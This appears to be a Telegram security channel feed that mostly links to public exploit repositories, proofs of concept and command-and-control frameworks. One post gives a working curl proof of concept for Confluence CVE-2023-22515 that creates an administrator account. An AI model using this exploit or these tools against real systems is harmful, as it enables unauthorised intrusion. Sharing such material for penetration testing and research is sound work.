Peneter Tools
@Peneter_Tools
1.27K subscribers
26 photos
4 videos
56 files
613 links
https://soheilsec.com
https://blog.peneter.com
@learnpentest
@peneter_com
@Peneter_News
@Peneter_Tools
@Peneter_Media
آموزش امنیت
https://www.youtube.com/@soheilsec
اخبار امنیت
https://www.youtube.com/@Peneter
Download Telegram
About
Blog
Apps
Platform
Join
Peneter Tools
1.27K subscribers
Peneter Tools
https://gist.github.com/xen0bit/0dccb11605abbeb6021963e2b1a811d3
Gist
CVE-2023-38545
CVE-2023-38545. GitHub Gist: instantly share code, notes, and snippets.
309 views
Peneter Tools
https://github.com/chompie1337/Windows_MSKSSRV_LPE_CVE-2023-36802
GitHub
GitHub - chompie1337/Windows_MSKSSRV_LPE_CVE-2023-36802: LPE exploit for CVE-2023-36802
LPE exploit for CVE-2023-36802. Contribute to chompie1337/Windows_MSKSSRV_LPE_CVE-2023-36802 development by creating an account on GitHub.
331 views
Peneter Tools
https://blog.lexfo.fr/xortigate-cve-2023-27997.html
https://github.com/lexfo/xortigate-cve-2023-27997
GitHub
GitHub - lexfo/xortigate-cve-2023-27997: xortigate-cve-2023-27997
xortigate-cve-2023-27997. Contribute to lexfo/xortigate-cve-2023-27997 development by creating an account on GitHub.
364 views
Peneter Tools
CVE-2023-22515
Confluence Data Center and Server - Broken Access Control Vulnerability
POC:
curl -k -X POST -H "X-Atlassian-Token: no-check" --data-raw "username=adm1n&fullName=admin&email=admin@confluence&password=adm1n&confirm=adm1n&setup-next-button=Next" http://confluence/setup/setupadministrator.action

login - adm1n/adm1n
443 views
Peneter Tools
https://github.com/Wh04m1001/CVE-2023-36723
GitHub
GitHub - Wh04m1001/CVE-2023-36723
Contribute to Wh04m1001/CVE-2023-36723 development by creating an account on GitHub.
398 views
Peneter Tools
https://docs.hardhat-c2.net/changelog/alpha-0.3-update-oct-13-2023
https://github.com/DragoQCC/HardHatC2/tree/master
docs.hardhat-c2.net
Alpha 0.3 Update Oct 13, 2023
388 views
Peneter Tools
https://github.com/po6ix/POC-for-CVE-2023-41993
GitHub
GitHub - po6ix/POC-for-CVE-2023-41993
Contribute to po6ix/POC-for-CVE-2023-41993 development by creating an account on GitHub.
374 views
Peneter Tools
https://github.com/OtterHacker/Conferences/tree/main/Defcon31
https://github.com/OffenseTeacher/Steganim
GitHub
Conferences/Defcon31 at main · OtterHacker/Conferences
Contribute to OtterHacker/Conferences development by creating an account on GitHub.
427 views
Peneter Tools
https://github.com/WKL-Sec/HiddenDesktop
GitHub
GitHub - WKL-Sec/HiddenDesktop: HVNC for Cobalt Strike
HVNC for Cobalt Strike. Contribute to WKL-Sec/HiddenDesktop development by creating an account on GitHub.
441 views
Peneter Tools
https://github.com/n0mi1k/apk2url
GitHub
GitHub - n0mi1k/apk2url: An OSINT tool to quickly extract IP and URL endpoints from APKs by disassembling and decompiling
An OSINT tool to quickly extract IP and URL endpoints from APKs by disassembling and decompiling - n0mi1k/apk2url
509 views
Peneter Tools
https://github.com/rapid7/metasploit-framework/pull/18461
610 views
Peneter Tools
https://securityonline.info/microsoft-exchange-server-rce-cve-2023-36745-flaw-gets-poc-exploit/
https://github.com/N1k0la-T/CVE-2023-36745
Daily CyberSecurity
Microsoft Exchange Server RCE (CVE-2023-36745) Flaw Gets PoC Exploit
Proof-of-concept (PoC) exploit code has been published for a Microsoft Exchange Server vulnerability tracked as CVE-2023-36745
649 views
Peneter Tools
opensource adversary emulation
https://havoc.sh/
499 viewsedited  
Peneter Tools
An automated Breach and Attack Simulation lab with terraform. Built for IaC stability, consistency, and speed.
https://github.com/iknowjason/AutomatedEmulation
GitHub
GitHub - iknowjason/AutomatedEmulation: An automated Adversary Emulation lab with terraform and MCP server. Build Caldera techniques…
An automated Adversary Emulation lab with terraform and MCP server. Build Caldera techniques and operations assisted with LLMs. Built for IaC stability, consistency, and speed. - iknowjason/Autom...
521 views
Peneter Tools
SLAM: Spectre based on Linear Address Masking
https://www.vusec.net/projects/slam/
https://github.com/vusec/slam
vusec
SLAM: Spectre based on Linear Address Masking - vusec
SLAM explores the residual attack surface of Spectre on modern (and even future) CPUs equipped with Intel LAM or similar features. Instead of targeting new transient execution techniques (like BHI or Inception), SLAM focuses on exploiting a common but previously…
497 views
Peneter Tools
PoC Released for SharePoint Pre-Auth RCE Chain (CVE-2023-29357 & CVE-2023-24955)
https://gist.github.com/testanull/dac6029d306147e6cc8dce9424d09868
https://securityonline.info/poc-released-for-sharepoint-pre-auth-rce-chain-cve-2023-29357-cve-2023-24955/
Gist
SharePoint Pre-Auth Code Injection RCE chain CVE-2023-29357 & CVE-2023-24955 PoC
SharePoint Pre-Auth Code Injection RCE chain CVE-2023-29357 & CVE-2023-24955 PoC - SharePwn_public.py
1.63K views
Peneter Tools
https://github.com/hackerhouse-opensource/SignToolEx
GitHub
GitHub - hackerhouse-opensource/SignToolEx: Patching "signtool.exe" to accept expired certificates for code-signing.
Patching "signtool.exe" to accept expired certificates for code-signing. - hackerhouse-opensource/SignToolEx
353 views
Peneter Tools
https://github.com/umutcamliyurt/PingRAT
GitHub
GitHub - umutcamliyurt/PingRAT: PingRAT secretly passes C2 traffic through firewalls using ICMP payloads.
PingRAT secretly passes C2 traffic through firewalls using ICMP payloads. - umutcamliyurt/PingRAT
354 views
Peneter Tools
https://github.com/nickvourd/Windows-Local-Privilege-Escalation-Cookbook
GitHub
GitHub - nickvourd/Windows-Local-Privilege-Escalation-Cookbook: Windows Local Privilege Escalation Cookbook
Windows Local Privilege Escalation Cookbook. Contribute to nickvourd/Windows-Local-Privilege-Escalation-Cookbook development by creating an account on GitHub.
347 views
Peneter Tools
https://www.kitploit.com/2024/01/ransomwaresim-simulated-ransomware.html?utm_source=dlvr.it&utm_medium=twitter&m=1
Kitploit
Kitploit – Maintenance in Progress
Kitploit is temporarily under maintenance. We’ll be back shortly with improvements.
336 views
Peneter Tools
https://github.com/blackarrowsec/Handly
GitHub
GitHub - blackarrowsec/Handly: Abuse leaked token handles.
Abuse leaked token handles. Contribute to blackarrowsec/Handly development by creating an account on GitHub.
297 views